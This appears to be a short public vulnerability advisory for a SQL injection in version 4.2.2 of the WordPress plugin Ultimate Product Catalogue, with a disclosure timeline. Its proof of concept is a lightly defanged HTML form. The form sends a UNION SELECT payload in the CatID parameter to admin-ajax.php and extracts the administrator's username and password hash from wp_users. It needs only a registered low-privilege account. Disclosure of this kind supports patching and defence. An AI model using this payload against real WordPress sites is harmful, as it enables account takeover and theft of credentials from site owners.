# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 – Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

2 – Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post" action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 – Timeline:

– 22/05/2017 – Discovered
– 24/05/2017 – Vendor not finded
– **/06/2017 – Corrected